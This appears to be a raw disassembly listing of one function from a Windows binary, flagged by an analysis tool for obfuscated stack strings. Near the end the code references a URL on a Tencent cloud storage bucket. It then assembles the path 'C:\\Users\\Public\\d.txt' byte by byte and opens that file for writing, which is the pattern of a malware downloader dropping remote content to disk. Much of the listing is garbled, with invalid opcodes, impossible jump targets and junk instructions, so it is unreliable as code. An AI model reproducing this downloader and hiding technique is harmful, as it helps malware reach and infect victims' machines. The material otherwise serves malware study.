Function at 0x14168c790
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub rsp, 0x118
xor eax, eax
test eax, eax
je 0x14168ca3f
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [rbp - 0x10]
test rcx, rcx
je 0x14168c7bf
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
invalid
xor eax, eax
test eax, eax
je 0x14168cce7
nop
nop
nop
nop
nop
nop
nop
mov rsi, qword [rsp + 0x58]
mov dword [rsi], edi
mov eax, ebx
jmp 0x14168ca61
nop
nop
nop
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x20
mov eax, r8d
mov rsi, rdx
mov r15d, 0x187500f0
xor r8d, r8d
mov edx, 0x8000ffff
lea rcx, [0x101edeae0]
je 0x14168cb75
mov rax, qword [rsi + 0x48]
cmp byte [rax - 0x77], r12b
and al, 0x30
lea rcx, [rsp + 0x30]
call fcn.141680680
xorps xmm7, xmm7
adc eax, 0x23a22
movzx ebx, ax
mov r15d, 0x80070000
add r15b, dil
push rax
sbb byte [rax - 0x7d], cl
rcr byte [rax], 0x48
mov dword [rsp + 0x48], eax
mov qword [rax + rax + 0x48], rsi
mov edx, dword [rsp + 0x30]
mov rbx, rax
add rdx, 0xffffffffffffffe8
or ecx, 0xffffffff
pop rsp
test eax, 0x83480002
rcr byte [rax], 0x48
lea edx, [0x1416b72f0]
sub bl, al
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
add r15d, r14d
call qword [0x1416ec860]
test rdi, rdi
jne 0xceb5ca72
pushfq
and al, 0xa0
add byte [rax], al
add byte [rcx - 0x75], cl
pop rbx
sub byte [rcx - 0x75], cl
jae 0x14168cb58
mov dword [rsp + 0x40], eax
mov rdx, rbx
lea rax, [rsp + 0x54]
mov qword [rsp - 7], rax
mov rsi, rdx
mov ecx, 0x18
call fcn.14165c620
mov qword [rax + rbp + 0x15ff0004], rcx
cmpsb byte [rsi], byte [rdi]
invalid
je 0x14168cb9c
mov rax, qword [rcx]
call qword [rax + 0x18]
sub byte [rcx + rcx*4 + 0x74], al
and al, 0x20
lea r9, [rbp + 0x17]
xor r8d, r8d
lea rdx, [rbp - 0x34]
call fcn.1416749a0
lea r11, [rsp + 0x510]
mov rcx, qword [r13 - 0x17173fb3]
in al, dx
cli
dec dword [rax - 0x75]
push rbp
loopne 0x14168cbce
dec dword [rbp + rcx*4 - 0x64]
and al, 0x10
add eax, 0x8b490000
lea ecx, [rbp - 0x40]
call fcn.14163b870
mov rdx, qword [rbp - 0x20]
mov eax, r13d
mov eax, ebp
adc qword [0x185f41496], rax
enter 0x4808, 0xffffffffffffff8b
adc eax, 0x51199
add rdi, rdi
adc dword [0x1406a13a2], eax
push rax
or byte [rax - 0x75], cl
push rbx
push rax
sub rdx, 0x18
mov eax, edi
lock xadd byte [rax], bl
mov qword [rbx + 0x6b0], rax
call fcn.141667850
mov rcx, qword [rax - 0x7b]
leave
je 0x14168cbce
mov rax, rsi
sub rax, rcx
add rbx, rax
cmp rsp, qword [rsi + 2]
add byte [rbp - 0x46f38b40], al
add eax, 0xff000000
adc eax, 0x4808668e
mov dword [rbx + 0x40], eax
mov rcx, qword [rbp - 0x28]
test rcx, rcx
je 0x14168cc0a
mov rdx, qword [rax + 8]
nop
lea rcx, [rdi + 0x10]
cmp byte [rcx + 0x28], 0
je 0x14168cc08
mov byte [rcx + 0x28], 0x48
mov dword [rsp + 0x38], ebx
mov rcx, qword [rdi + 0x28]
sub rcx, 0x18
sub byte [rax - 0x7d], cl
jmp 0x19397b428
sub ecx, 0x18
call 0x174b11e40
invalid
xor eax, eax
test eax, eax
je 0x14168cf8f
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
call fcn.141673cb0
add rax, 0x18
mov qword [rbp - 0x79], rax
lea rcx, [rbp + 0x48]
xor eax, esp
mov qword [rbp - 1], rax
mov r15, r9
mov rsi, r8
mov r14, rdx
mov qword [rsp + 0x10], rdx
push rbp
sub rsp, 0x20
mov rbp, rdx
lfence
call int.1416926a0
cmp byte [rbx + 8], r15b
jne 0x14168cd42
cmp byte [rdi + rsi + 0x40], r15b
sub esp, 0x170
jo 0x14168cd45
add byte [rax], al
add byte [rax - 0x75], cl
add eax, 0x5a283
mov rax, qword [0x1416e6fd0]
xor rax, rsp
mov ebx, 0x5c
lea ecx, [rsi + 1]
mov rax, qword [r14]
test ecx, ecx
js 0xccb21e1c
xlatb
add rax, 0x18
lea r8, [0x1416b6838]
test r9, r9
je 0x14168ce05
test r8, r8
je 0xccb4ce05
fmul qword [rcx - 0x77]
pop rbx
or byte [rdi + 0x48], dl
sub esp, 0x70
mov rax, qword [0x165cd5170]
xor byte [rax], al
mov rbx, qword [rsp + 0x28]
mov rsi, qword [rbx]
mov rdx, rdi
sbb byte [rax - 0x7d], cl
rcr byte [rax], 0x48
mov dword [rdi], eax
xor eax, eax
test eax, eax
je 0x14168d237
nop
nop
nop
nop
nop
nop
nop
xor rax, rsp
mov qword [rbp - 8], rax
mov rsi, rcx
mov qword [rbp - 0x20], rcx
mov rcx, qword [rax - 0x77]
pop rsp
and al, 0x10
push rbp
push rsi
push rdi
push r14
push r15
mov rbp, rsp
add qword [rbx + riz*2 - 0x39], rcx
lea rdi, [rax + 0x18]
je 0x14168cff8
test rdi, rdi
je 0x14168cfe8
adc rax, 0x4eadb
sub eax, ebx
lea ecx, [rdi - 0x20]
mov dword [0x1417099f0], eax
call qword [rax - 0x7faa74b8]
jmp 0x14168d05b
mov rdx, qword [rsp + 0x38]
test rdx, rdx
insb byte [rdi], dx
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], ecx
mov dword [rsp + 0x20], edx
mov r8, qword [rax + rax*4 + 0x48]
sub byte [rcx + 0x4c202454], cl
mov eax, dword [rax + rax*4 + 0x48]
mov eax, dword [rbx]
mov rcx, rbx
call qword [rax + 0x10]
jmp 0x14168d011
mov dword [rsp + 0x28], 0x34
lea rax, [0x1416ce178]
or byte [rcx], cl
add byte [rax], al
xor rax, rax
lea rcx, [0x1416bd398]
xor edx, edx
call fcn.141651f40
sti
add eax, dword [rax]
lea ecx, [rsi + 3]
call fcn.1416610f0
mov qword [rbp - 0x18], rsi
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
add eax, r13d
test eax, eax
sbb dword [rax - 0x77], ecx
pop rcx
or byte [rcx - 0xa], al
mov byte [rdx], 0x74
and r14d, 0xfffffffd
sub rsp, 0x28
test rdx, rdx
je 0x14168d0b8
mov rcx, qword [rcx + 8]
mov r8, rdx
add byte [rdi], cl
xchg ebp, eax
ret
mov rcx, qword [rsp + 0x30]
test rcx, rcx
add eax, dword [rax]
add byte [rbp + 0x33], 0xff
test rdx, rdx
jne 0x14168d0d0
mov edi, ebp
jmp 0x14168d0e9
xadd dword [rdi + 8], eax
add eax, r14d
jne 0x14168d0f8
mov rax, qword [rdi]
mov rcx, rdi
dec dword [rbp + 0x388c205]
add byte [rax - 0x77], cl
adc dword [rax + 2], 0x8b480000
push rax
add al, byte [rax]
add byte [rax - 0x75], cl
xchg ecx, eax
mov rax, qword [rsp + 0x80]
add rax, rdi
mov qword [r12 + 0x10], rax
mov rsp, r11
pop r15
ret
xor eax, eax
test eax, eax
je 0x14168d4df
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push rdx
adc byte [rbx - 0x3b7cb73d], cl
and byte [rdi + 0x5e], bl
pop rbx
ret
lea rcx, [rsp + 0x80]
call int.141698d80
xor eax, eax
test eax, eax
je 0x14168d794
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
call fcn.14167c724
nop
mov rdx, rax
mov rcx, rsi
call 0x15e67ea80
cmpsb byte [rsi], byte [rdi]
add al, byte [rax]
mov qword [rcx], rax
call fcn.1416434f0
mov rcx, rax
and al, 0x20
add dword [rax], eax
call int.14168b430
xor eax, eax
test eax, eax
je 0x14168da41
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
test rax, rax
jne 0x14168d7ba
or eax, 0xffffffff
jmp 0x14168d7c0
sub rax, qword [rbx]
sar rax, 1
int3
xor eax, eax
test eax, eax
je 0x14168dce9
nop
nop
nop
nop
nop
xor eax, 0x72b0b
cmp r14, rbx
je 0x14168da78
mov rcx, rbx
call qword [0x1818d1f10]
test eax, eax
jns 0x14168da85
lfence
mov rcx, qword [rsp + 0x48]
inc dword [rbx]
mov dword [rbp + 0xf0c7fc0], 0x8b48e8ae
or cl, byte [rax - 0x75]
add edi, edi
test dh, dh
invalid
call 0x1897365c5
mov eax, dword [rcx]
inc dword [rsi + rsi*8 - 0x72b70001]
add eax, 0x1f4cd
lea eax, [0x1416acf58]
mov qword [rbp - 0x70], rax
invalid
xor eax, eax
test eax, eax
je 0x14168df91
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
adc byte [r15], cl
scasb al, byte [rdi]
call 0x189776861
mov eax, dword [rcx]
mov rdx, r14
call qword [rax + 8]
lea rdx, [rbx - 0x18]
or eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14168dd7e
mov byte [rax - 0x7b], cl
leave
je 0x14168dd3e
call qword [0x1416b1410]
nop
mov rsi, qword [rcx + 0x70]
mov ebp, r9d
mov rsi, r8
mov rdi, rdx
mov rbx, rcx
cmp qword [rax], r9
add eax, edx
cmp r10d, eax
jb 0x14168dd76
inc r9d
add rcx, 0x28
invalid
add byte [rax], al
mov rax, qword [rax]
call qword [rax + 0x18]
add qword [rbp + 0x482a74c9], 0xffffffffffffff8b
sub byte [r8 - 0x7b], cl
sal byte [rdx + rdx - 0x46], 0x14
add byte [rbx + 0xf41f0c6], cl
rol dword [rsi + 8], 3
invalid
mov dword [rsp + 0x60], 0
lea rdx, [rsp + 0x60]
lea rcx, str.https:__wwwwasdsadqeqwqe111_1325785730.cos.ap_shanghai.myqcloud.com_111.txt
call fcn.14167e750
mov qword [rsp + 0x70], rax
mov byte [rsp + 0x40], 0x43
mov byte [rsp + 0x41], 0x3a
mov byte [rsp + 0x42], 0x5c
mov byte [rsp + 0x43], 0x5c
mov byte [rsp + 0x44], 0x55
mov byte [rsp + 0x45], 0x73
mov byte [rsp + 0x46], 0x65
mov byte [rsp + 0x47], 0x72
mov byte [rsp + 0x48], 0x73
mov byte [rsp + 0x49], 0x5c
mov byte [rsp + 0x4a], 0x5c
mov byte [rsp + 0x4b], 0x50
mov byte [rsp + 0x4c], 0x75
mov byte [rsp + 0x4d], 0x62
mov byte [rsp + 0x4e], 0x6c
mov byte [rsp + 0x4f], 0x69
mov byte [rsp + 0x50], 0x63
mov byte [rsp + 0x51], 0x5c
mov byte [rsp + 0x52], 0x5c
mov byte [rsp + 0x53], 0x64
mov byte [rsp + 0x54], 0x2e
mov byte [rsp + 0x55], 0x74
mov byte [rsp + 0x56], 0x78
mov byte [rsp + 0x57], 0x74
mov byte [rsp + 0x58], 0
xor eax, eax
test eax, eax
je 0x14168e2d4
add byte [rax], al
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ebx, ecx
je 0x14168e0c8
xor r8d, r8d
lea rcx, [0x10aec6538]
inc edi
and al, 0x20
add byte [rax], al
add byte [rbp - 0x73], al
add al, 0xff
fmul dword [rax - 0x77]
and al, 0x28
lea r8, [rbp - 0x30]
lea rax, [rbp - 0x38]
mov qword [rbx + 0x4848246c], rcx
mov esi, dword [rsp + 0x50]
add rsp, 0x20
pop r15
push r14
std
dec dword [rax - 0x75]
pop rsp
and al, 0x58
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + riz*8 + 0xf]
mov ss, word [rax + 0x49000001]
mov eax, dword [rdi]
mov ebx, ebp
sub ebx, esi
jne 0x12d4f5665
fimul dword [rax - 0x7b]
push qword [rbp + rdx*8 + 0x48]
mov eax, edi
sub rax, qword [rax]
add byte [rax], al
add byte [rdx + rax*2 + 0x4c], dh
mov eax, dword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r13 + rsi*8 + 8], rsp
cmp rbx, rdi
jne 0x14168e034
push 0xffffffffebffffff
int3
jmp 0x14168e09a
xor eax, eax
test eax, eax
je 0x14168e57c
nop
nop
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x50
mov rax, qword [0x1296f17b0]
or esi, dword [rsi - 3]
dec dword [rbx + 0x79c085f8]
sub byte [rdi], cl
scasb al, byte [rdi]
call 0x11375b38d
jmp 0x14168e308
mov rdx, r8
mov rcx, r9
add qword [rax], 0
mov rcx, qword [rdi + 0x5b8]
mov r8, rsi
test rcx, rcx
je 0x14168e37e
xor byte [rbx + rcx*4 + 8], cl
test r9, r9
je 0x14168e369
mov rax, qword [rsi]
mov edi, ebx
push 0xffffffffffffffff
dec dword [rbx + 0x78c085d8]
invalid
nop
mov rdx, qword [rbp - 0x18]
or qword [rbx + 0x4d8b48d8], 0xffffffffffffffe8
test rcx, rcx
jne 0x14168e37f
mov eax, esi
jmp 0x14168e395
invalid
invalid
inc dword [rcx - 0x216a05]
dec dword [rdi]
test byte [rbx + 0x394ca2fe], ah
je 0x14168e3c9
js 0x14168e3b6
test dword [rsi + 0x4a000000], ecx
mov dword [rbp + rdi*8 - 0x77], ebx
add eax, 0x7819a
call qword [0x1416d9af8]
lea rdx, [0x174b0e8a0]
rol byte [rcx - 0x75], 1
add dword [rax + 0x33], ecx
ror byte [rcx + 0x23], 1
xchg edx, eax
rol byte [rax], 1
add byte [rbx + 0x4c], al
mov ecx, 6
call qword [0x1416b4250]
nop
invalid
xor eax, eax
test eax, eax
je 0x14168e824
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
invalid
xor eax, eax
test eax, eax
je 0x14168eacc
nop
nop
xor eax, eax
test eax, eax
je 0x14168ed74
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov qword [0x1416c8a38], rax
mov rax, qword [0x1416c8a98]
mov qword [rax], rax
test eax, eax
je 0x14168eb1d
sub eax, 1
je 0x14168eb21
cmp eax, 2
jne 0x14168eb5b
invalid
add byte [rax], al
adc dword [r8 - 0x143fccff], r9d
adc dword [rax - 0x143fccff], ecx
add eax, 0x70057b8
or byte [rax - 0x75], 0x5c
inc dword [rbp - 0x677af025]
add byte [rax], al
nop
nop
nop
nop
nop
lea ecx, [rbp - 0x29]
call fcn.14165548c
mov rsi, rax
mov rax, qword [rax]
mov rbp, rsp
int 6
add byte [rax + 0x33], cl
invalid
xor eax, eax
test eax, eax
je 0x14168f01c
nop
nop
mov eax, dword [rbp + 0x80]
mov rdx, qword [rbp + 0x30]
mov rcx, qword [rbp + 0x20]
and r8b, r13b
pop rbp
scasb al, byte [rdi]
call 0x1897378de
mov eax, dword [rcx]
call qword [rax + 8]
mov rcx, qword [r14 + 0x688d00d0]
test eax, 0xf8ec8148
add byte [rax], al
add byte [rdi], cl
sub dword [rax - 0x58], esi
movaps xmmword [rbx], xmm0
add byte [rax], al
je 0x14168edc5
cmp r9d, 0xbb8
jne 0x14168edca
mov eax, 0xe98b4888
and qword [rax + 0x18], 0
lea rcx, [rax + 0x18]
call fcn.14168faac
mov qword [rsp + 0x28], rcx
invalid
sbb al, bpl
fisttp dword [rax + rax]
add byte [rax - 0x77], cl
and al, 0x28
lea r8, [0x1417021b0]
lea rcx, [0x108ecfdb6]
invalid
cmp qword [rsp + 0x70], 0
je 0x14168fde1
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
lea rcx, [rsp + 0x40]
call qword [rsp + 0xf0]
mov qword [rsp + 0x68], rax
cmp qword [rsp + 0x68], 0xffffffffffffffff
je 0x14168fde1
xor eax, eax
invalid